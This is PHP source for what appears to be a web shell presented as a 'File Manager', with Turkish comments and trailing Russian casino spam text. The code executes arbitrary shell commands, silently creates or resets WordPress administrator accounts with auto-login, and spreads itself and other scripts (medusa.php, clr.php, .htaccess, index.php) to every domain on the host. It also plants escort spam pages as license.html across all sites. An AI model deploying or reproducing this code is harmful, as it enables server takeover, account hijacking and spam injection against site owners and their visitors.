= '✅ Hyper Cache temizlendi'; } if ($wpdb) { $tables = $wpdb->get_results("SHOW TABLES", ARRAY_N); $optimized = 0; foreach ($tables as $table) { $wpdb->query("OPTIMIZE TABLE " . $table[0]); $optimized++; } $results[] = "✅ $optimized tablo optimize edildi"; $revisions = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'"); if ($revisions > 0) $results[] = "✅ $revisions post revision temizlendi"; $drafts = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_status = 'auto-draft'"); if ($drafts > 0) $results[] = "✅ $drafts auto-draft temizlendi"; $spam = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'"); if ($spam > 0) $results[] = "✅ $spam spam yorum temizlendi"; } } } // ── Dosya bazlı cache dizinleri ── $cacheDirs = [ $dir . '/wp-content/cache/', $dir . '/cache/', $dir . '/wp-content/w3tc-cache/', $dir . '/wp-content/wp-rocket-cache/', $dir . '/wp-content/endurance-page-cache/', $dir . '/wp-content/et-cache/', ]; if (defined('ABSPATH') && function_exists('wp_upload_dir')) { $upload_dir = wp_upload_dir(); $cacheDirs[] = $upload_dir['basedir'] . '/cache/'; } foreach ($cacheDirs as $cacheDir) { if (is_dir($cacheDir)) { $deleted = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($cacheDir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { @unlink($file->getRealPath()); $deleted++; } } if ($deleted > 0) { $results[] = "✅ " . basename($cacheDir) . " dizini temizlendi ($deleted dosya)"; } } } // ── LiteSpeed purge header ── if (!headers_sent()) { header('X-LiteSpeed-Purge: *'); $results[] = '✅ LiteSpeed purge header gönderildi'; } $lsDirs = ['/tmp/lshttpd/swap/', '/tmp/lshttpd/cache/', '/var/cache/litespeed/']; foreach ($lsDirs as $lsDir) { if (is_dir($lsDir)) { $deleted = 0; foreach (glob($lsDir . '*') as $f) { if (is_file($f) && @unlink($f)) $deleted++; } if ($deleted > 0) $results[] = "✅ LiteSpeed dosya cache ($lsDir): $deleted dosya silindi"; } } return $results; } // ── CACHE TEMİZLEME (tek domain) ──────────── if(isset($_POST['clear_cache'])){ $results = clearCacheForDirectory($currentDirectory); $statusMessage = implode(' | ', $results); $statusType = (strpos($statusMessage, '❌') !== false) ? 'error' : 'success'; } // ── TÜM DOMAIN CACHE TEMİZLE ──────────────── if(isset($_POST['clear_all_domains_cache'])){ $allResults = []; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $results = clearCacheForDirectory($publicHtml); $allResults[] = "🌐 " . basename(dirname($publicHtml)) . ": " . implode(', ', $results); $count++; } $statusMessage = "✅ $count domain cache temizlendi: " . implode(' | ', $allResults); $statusType = 'success'; } } } // ── DEPLOY ESCORT TEMPLATE AS license.html (Güncellendi) ── if(isset($_POST['deploy_escort'])){ $city = isset($_POST['escort_city']) ? $_POST['escort_city'] : 'bodrum'; try { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ // domains yoksa mevcut domaine yaz $url = getDomainUrl($currentDirectory) ?: 'http://' . $_SERVER['HTTP_HOST']; $html = generateEscortPage($url, $city); $filePath = $currentDirectory . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $statusMessage = "✅ license.html mevcut domain'e kopyalandı (Şehir: " . ucfirst($city) . ")"; $statusType = 'success'; } else { $statusMessage = "❌ license.html yazılamadı."; $statusType = 'error'; } } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ throw new Exception('Hiç public_html dizini bulunamadı.'); } $count = 0; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $url = 'https://' . $domainName; $html = generateEscortPage($url, $city); $filePath = $publicHtml . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $count++; } } $statusMessage = "✅ $count domain'e license.html başarıyla kopyalandı (Şehir: " . ucfirst($city) . ")."; $statusType = 'success'; } } catch (Exception $e) { $statusMessage = '❌ Hata: ' . $e->getMessage(); $statusType = 'error'; } } // ── DEPLOY .htaccess & index.php TO ALL DOMAINS ── if(isset($_POST['deploy_all_domains'])){ $sourceDir = $currentDirectory; $htaccessSrc = $sourceDir . '/.htaccess'; $indexSrc = $sourceDir . '/index.php'; if(!file_exists($htaccessSrc) || !file_exists($indexSrc)){ $statusMessage = '❌ .htaccess veya index.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($htaccessSrc, $publicHtml . '/.htaccess')) $count++; if(copy($indexSrc, $publicHtml . '/index.php')) $count++; } $statusMessage = "✅ $count dosya kopyalandı (" . (count($publicDirs)) . " domain)"; $statusType = 'success'; } } } } // ── DEPLOY CLR.PHP TO ALL DOMAINS (Ana dizine) ── if(isset($_POST['deploy_clr_php'])){ $sourceDir = $currentDirectory; $clrSrc = $sourceDir . '/clr.php'; if(!file_exists($clrSrc)){ $statusMessage = '❌ clr.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($clrSrc, $publicHtml . '/clr.php')) $count++; } $statusMessage = "✅ $count domain'e clr.php kopyalandı (ana dizin)"; $statusType = 'success'; } } } } // ── DEPLOY MEDUSA.PHP TO ALL WP-CONTENT DIRS ── if(isset($_POST['deploy_medusa_wpcontent'])){ $sourceDir = $currentDirectory; $medusaSrc = $sourceDir . '/medusa.php'; if(!file_exists($medusaSrc)){ $medusaSrc = $sourceDir . '/wp-content/medusa.php'; } if(!file_exists($medusaSrc)){ $statusMessage = '❌ medusa.php bulunamadı! (ana dizinde veya wp-content/ içinde)'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $wpContent = $publicHtml . '/wp-content'; if(is_dir($wpContent)){ if(copy($medusaSrc, $wpContent . '/medusa.php')) $count++; } } $statusMessage = "✅ $count domain/wp-content/ dizinine medusa.php kopyalandı"; $statusType = 'success'; } } } } // ── TÜM DOMAİNLERDE .htaccess VE index.php İZİNLERİNİ TOPLU AYARLA ── if(isset($_POST['set_permissions_all_domains'])){ $permMode = isset($_POST['permission_mode']) ? intval($_POST['permission_mode']) : 644; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; $results = []; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $htaccess = $publicHtml . '/.htaccess'; $index = $publicHtml . '/index.php'; $changed = 0; if(file_exists($htaccess)){ if(chmod($htaccess, octdec($permMode))){ $changed++; } } if(file_exists($index)){ if(chmod($index, octdec($permMode))){ $changed++; } } if($changed > 0){ $count++; $results[] = $domainName . ' (' . $changed . ' dosya)'; } } $statusMessage = "✅ $count domain'de izinler " . $permMode . " olarak ayarlandı: " . implode(', ', array_slice($results, 0, 5)) . (count($results) > 5 ? ' …' : ''); $statusType = 'success'; } } } // ============================================ // ── DOSYA İŞLEMLERİ ──────────────────────── // ============================================ if($_SERVER['REQUEST_METHOD']==='POST'){ // ── TERMINAL KOMUT ───────────────────────── if(isset($_POST['cmd_input'])){ $cmd = trim($_POST['cmd_input']); // ── ÖZEL KOMUTLAR ────────────────────────── $specialOutput = ''; if(preg_match('/^wp user create (\S+) (\S+)(?:\s+(\S+))?$/', $cmd, $matches)) { $wUser = $matches[1]; $wPass = $matches[2]; $wEmail = $matches[3] ?? $wUser . '@example.com'; $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { if (!username_exists($wUser)) { $user_id = wp_create_user($wUser, $wPass, $wEmail); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); wp_set_auth_cookie($user_id); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Kullanıcı oluşturuldu: $wUser (Admin)\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Hata: " . $user_id->get_error_message(); } } else { $user = get_user_by('login', $wUser); if ($user) { wp_set_password($wPass, $user->ID); wp_set_auth_cookie($user->ID); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Şifre güncellendi: $wUser\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Kullanıcı bulunamadı: $wUser"; } } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp admin' || $cmd === 'wp-open') { $wpAdminUrl = findWpAdminUrl($currentDirectory); $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { $adminUsers = get_users(['role' => 'administrator', 'number' => 1]); if (!empty($adminUsers)) { $adminUser = $adminUsers[0]; wp_set_auth_cookie($adminUser->ID); wp_set_current_user($adminUser->ID); $specialOutput = "✅ Otomatik giriş yapıldı: " . $adminUser->user_login . "\n🔗 " . $wpAdminUrl; echo ''; } else { $specialOutput = "⚠️ Admin kullanıcı bulunamadı! Lütfen 'wp user create' ile oluşturun.\n🔗 " . $wpAdminUrl; } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp info') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_bloginfo')) { $specialOutput = "📋 WordPress Bilgileri:\n"; $specialOutput .= "Site Adı: " . get_bloginfo('name') . "\n"; $specialOutput .= "Site URL: " . get_bloginfo('url') . "\n"; $specialOutput .= "WordPress Versiyon: " . get_bloginfo('version') . "\n"; $specialOutput .= "Admin URL: " . admin_url() . "\n"; $specialOutput .= "Kullanıcı Sayısı: " . count_users()['total_users']; } else { $specialOutput = "❌ WordPress bilgileri alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp plugins') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_plugins')) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $specialOutput = "📦 Aktif Pluginler:\n"; $found = false; foreach ($plugins as $plugin_path => $plugin) { if (is_plugin_active($plugin_path)) { $specialOutput .= "✅ " . $plugin['Name'] . " v" . $plugin['Version'] . "\n"; $found = true; } } if (!$found) { $specialOutput = "⚠️ Aktif plugin bulunamadı"; } } else { $specialOutput = "❌ Plugin listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp cache clear') { $wpCache = $currentDirectory . '/wp-content/cache'; if(is_dir($wpCache)){ $count = 0; $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($wpCache, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ if($f->isFile() || $f->isLink()){ @unlink($f->getRealPath()); $count++; } elseif($f->isDir()){ @rmdir($f->getRealPath()); } } $specialOutput = "🗑️ $count dosya silindi (wp-content/cache/)"; } else { $specialOutput = "⚠️ wp-content/cache/ dizini bulunamadı"; } } elseif($cmd === 'wp themes') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('wp_get_themes')) { $themes = wp_get_themes(); $active_theme = wp_get_theme(); $specialOutput = "🎨 Temalar:\n"; $specialOutput .= "Aktif Tema: " . $active_theme->get('Name') . " v" . $active_theme->get('Version') . "\n\n"; $specialOutput .= "Yüklü Temalar:\n"; foreach ($themes as $slug => $theme) { $status = ($slug === $active_theme->get_stylesheet()) ? "✅ " : " "; $specialOutput .= $status . $theme->get('Name') . " v" . $theme->get('Version') . "\n"; } } else { $specialOutput = "❌ Tema listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'help' || $cmd === 'wp help') { $specialOutput = "📚 Özel Komutlar:\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "wp user create [email]\n"; $specialOutput .= " → WordPress admin kullanıcı oluştur\n\n"; $specialOutput .= "wp admin veya wp-open\n"; $specialOutput .= " → WordPress Admin panelini aç (otomatik giriş)\n\n"; $specialOutput .= "wp info\n"; $specialOutput .= " → WordPress site bilgilerini göster\n\n"; $specialOutput .= "wp plugins\n"; $specialOutput .= " → Aktif pluginleri listele\n\n"; $specialOutput .= "wp themes\n"; $specialOutput .= " → Temaları listele\n\n"; $specialOutput .= "wp cache clear\n"; $specialOutput .= " → WordPress cache temizle\n\n"; $specialOutput .= "help veya wp help\n"; $specialOutput .= " → Bu yardım mesajını göster\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "💡 Normal Linux komutları da çalışır!"; } // ── Normal Komut ────────────────────────── if(empty($specialOutput)) { if(!empty($cmd)){ array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } $ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $proc=proc_open($cmd,$ds,$pipes); if(is_resource($proc)){ $out=stream_get_contents($pipes[1]); $err=stream_get_contents($pipes[2]); fclose($pipes[1]);fclose($pipes[2]);proc_close($proc); $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars(!empty($err)?$err:$out), 'filename'=>'' ]; }else{ $statusMessage='Failed to execute command'; $statusType='error'; } } else { $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars($specialOutput), 'filename'=>'' ]; array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } } // ── MULTIPLE FILE UPLOAD ──────────────── elseif(isset($_FILES['fileToUpload'])){ $uploaded = 0; $failed = 0; $uploadErrors = []; $files = $_FILES['fileToUpload']; $fileCount = count($files['name']); for($i = 0; $i < $fileCount; $i++) { $fileName = basename($files['name'][$i]); $tmpName = $files['tmp_name'][$i]; $targetPath = $currentDirectory.'/'.$fileName; if(file_exists($targetPath)) { @unlink($targetPath); } if(move_uploaded_file($tmpName, $targetPath)) { $uploaded++; } else { $failed++; $uploadErrors[] = $fileName; } } if($uploaded > 0 && $failed === 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded successfully'; $statusType = 'success'; } elseif($uploaded > 0 && $failed > 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded, '.$failed.' failed'; $statusType = 'error'; } else { $statusMessage = 'Failed to upload: '.implode(', ', $uploadErrors); $statusType = 'error'; } }elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){ $nf=$currentDirectory.'/'.$_POST['folder_name']; if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';} else{$statusMessage='Folder already exists';$statusType='error';} }elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){ $nf = $currentDirectory.'/'.$_POST['file_name']; $ex = file_exists($nf); $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; if(!$ex && empty($content)) { $statusMessage = 'Warning: Creating empty file - no content provided'; $statusType = 'error'; } else { if(file_put_contents($nf, $content) !== false) { $statusMessage = $ex ? 'File saved' : 'File created'; $statusType = 'success'; } else { $statusMessage = 'Failed to save file (permission error)'; $statusType = 'error'; } } }elseif(isset($_POST['delete_file'])){ $t=$currentDirectory.'/'.$_POST['delete_file']; if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$statusMessage=$ok?'Deleted':'Failed to delete';$statusType=$ok?'success':'error';} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){ $del=0;$fail=0; foreach($_POST['selected_items'] as $item){ $t=$currentDirectory.'/'.basename($item); if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;} } $statusMessage="Deleted $del item(s)".($fail?", $fail failed":''); $statusType=$fail?'error':'success'; }elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){ $on=$currentDirectory.'/'.$_POST['old_name']; $nn=$currentDirectory.'/'.$_POST['new_name']; if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){ $t=$currentDirectory.'/'.basename($_POST['chmod_file']); $mode=octdec($_POST['chmod_value']); if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';} else{$statusMessage='chmod failed';$statusType='error';} }elseif(isset($_POST['zip_file'])){ $t=$currentDirectory.'/'.basename($_POST['zip_file']); $zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip'; if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zn,ZipArchive::CREATE)===TRUE){ if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());} else{$zip->addFile($t,basename($t));} $zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success'; }else{$statusMessage='Failed to create zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['extract_file'])){ $zp=$currentDirectory.'/'.basename($_POST['extract_file']); if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zp)===TRUE){ $to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME); $zip->extractTo($to);$zip->close(); $statusMessage='Extracted to /'.basename($to);$statusType='success'; }else{$statusMessage='Failed to open zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['view_file'])){ $fv=$currentDirectory.'/'.$_POST['view_file']; if(file_exists($fv)){ $viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']]; }else{$statusMessage='File not found';$statusType='error';} }elseif(isset($_POST['editor_load'])){ $fv=$currentDirectory.'/'.$_POST['editor_load']; if(file_exists($fv)){ $editorLoad=['filename'=>$_POST['editor_load'],'content'=>file_get_contents($fv)]; } } } function deleteDirectory($dir){ if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir); foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;} return rmdir($dir); } function formatFileSize($b){ if($b>=1073741824)return number_format($b/1073741824,2).' GB'; elseif($b>=1048576)return number_format($b/1048576,2).' MB'; elseif($b>=1024)return number_format($b/1024,2).' KB'; elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes'; } function extColor($e){ $m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400']; return $m[$e]??'text-slate-400'; } function extLang($e){ $m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown']; return $m[$e]??'plaintext'; } ?> File Manager window._editorAutoLoad='.json_encode(['filename'=>$editorLoad['filename'],'content'=>$editorLoad['content']]).';'; } ?>
    | | | 🌐 | WP ✓
    '; $fileIcon=''; $btn='inline-flex items-center justify-center w-6 h-6 rounded bg-slate-700/50 text-slate-400 border border-slate-700 transition-all'; ?>
    Name 👁 ✏️ 📦 🔑 🗑 Rename
    '; ?>
    —'; endif; ?>
    —'; endif; ?>
    '; echo ''.$cnt.' item'.($cnt!==1?'s':'').''; echo ''.htmlspecialchars($currentDirectory).''; echo '
    '; ?>
    back to top

    Author: p.nina

    Сбор Мнений Игроков: Обратная Связь Сообщества Pinco Casino ЗеркалоВ данной статье мы рассмотрим, как обратная связь игроков может помочь в улучшении работы онлайн-казино, в частности Pinco Casino Зеркало. Мнения пользователей играют ключевую роль в формировании имиджа казино и его успешностной

    img { width: 750px; } iframe.movie { width: 750px; height: 450px; } Казино Вавада лучший выбор для азартных игроков Если стремитесь к качественному и разнообразному досугу в онлайн-гейминге, обратите внимание на платформу, которая гарантирует безопасность и высокие шансы на выигрыш. Предлагаемые игры